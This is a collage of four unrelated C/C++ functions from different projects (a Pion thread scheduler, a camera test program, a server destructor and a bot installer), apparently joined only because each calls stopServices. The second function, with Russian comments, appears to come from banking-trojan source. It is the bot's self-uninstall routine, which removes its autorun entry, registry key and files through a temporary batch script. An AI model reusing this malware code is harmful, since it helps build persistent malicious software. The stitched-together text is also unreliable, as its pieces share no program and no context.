void PionScheduler::shutdown(void) { // lock mutex for thread safety boost::mutex::scoped_lock scheduler_lock(m_mutex); if (m_is_running) { PION_LOG_INFO(m_logger, "Shutting down the thread scheduler"); while (m_active_users > 0) { // first, wait for any active users to exit PION_LOG_INFO(m_logger, "Waiting for " << m_active_users << " scheduler users to finish"); m_no_more_active_users.wait(scheduler_lock); } // shut everything down m_is_running = false; stopServices(); stopThreads(); finishServices(); finishThreads(); PION_LOG_INFO(m_logger, "The thread scheduler has shutdown"); // Make sure anyone waiting on shutdown gets notified m_scheduler_has_stopped.notify_all(); } else { // stop and finish everything to be certain that no events are pending stopServices(); stopThreads(); finishServices(); finishThreads(); // Make sure anyone waiting on shutdown gets notified // even if the scheduler did not startup successfully m_scheduler_has_stopped.notify_all(); } }
bool CoreInstall::_uninstall(bool wait) { WCHAR path1[MAX_PATH]; WCHAR path2[MAX_PATH]; //Получаем пути. Core::getPeSettingsPath(Core::PSP_COREFILE, path1); CWA(shlwapi, PathRemoveFileSpecW)(path1); Core::getPeSettingsPath(Core::PSP_REPORTFILE, path2); CWA(shlwapi, PathRemoveFileSpecW)(path2); //Останавливаем потоки. coreData.proccessFlags |= Core::CDPF_NO_EXITPROCESS; stopServices(NULL); //Удаляем автозапуск. CoreControl::_removeAutorun(); //Удаляем файлы из ~. { Fs::_removeDirectoryTree(path1); Fs::_removeDirectoryTree(path2); } //Удаляем настройки в реестре. { WCHAR regPath[MAX_PATH]; Core::getPeSettingsPath(Core::PSP_REGKEY, regPath); Registry::_deleteKey(HKEY_CURRENT_USER, regPath); } //Создаем bat-файл. Для надежного удаления файлов. { char path1Oem[MAX_PATH]; char path2Oem[MAX_PATH]; CWA(user32, CharToOemW)(path1, path1Oem); CWA(user32, CharToOemW)(path2, path2Oem); CSTR_GETA(batch, core_uninstall_batch); char buf[MAX_PATH * 4 + 100]; int size = Str::_sprintfA(buf, sizeof(buf) / sizeof(char), batch, path1Oem, path2Oem, path1Oem, path2Oem); if(size > 0)Process::_runTempBatch(buf); } //Если удаление запушено из первичного процесса бота, завершаем процесс. if(coreData.globalHandles.stopedEvent == CURRENT_PROCESS)CWA(kernel32, ExitProcess)(0); return true; }
int main() { VisionCam * gCam = NULL; entryIndex index = 0; module_t handle = NULL; status_e ret = STATUS_SUCCESS; #if defined(SOSAL_RUNTIME_DEBUG) debug_get_zone_mask("SOSAL_ZONE_MASK", &sosal_zone_mask); #endif #if defined(DVP_RUNTIME_DEBUG) debug_get_zone_mask("DVP_ZONE_MASK", &dvp_zone_mask); #endif handle = initModule( &gCam ); #ifdef VCAM_AS_SHARED if( handle == NULL ) return -1; #endif if( gCam ) { setInitialValues( gCam ); ret = startServices( gCam ); } else { ret = STATUS_CATASTROPHIC; } if( ret != STATUS_SUCCESS ) { ret = deinitModule( handle, &gCam ); } else { while( 1 ) { index = Menu( menu ); if( index == -1 ) { continue; } /// 'q' button (quit) is pressed if( menu[ index ]->ID == VCAM_CMD_QUIT ) { index = getEntryIndex( menu , KEY_PREVIEW_STOP ); ret = executeEntry( menu[ index ], gCam ); break; } ret = executeEntry( menu[ index ] , gCam ); } ret = stopServices( gCam ); ret = deinitModule( handle, &gCam ); } printf("\tvcam_test exiting with %d.\n", ret); if( STATUS_SUCCESS != ret ) puts("\tTerminating application."); return ret; }
CServerRoot::~CServerRoot() { stopServices(); }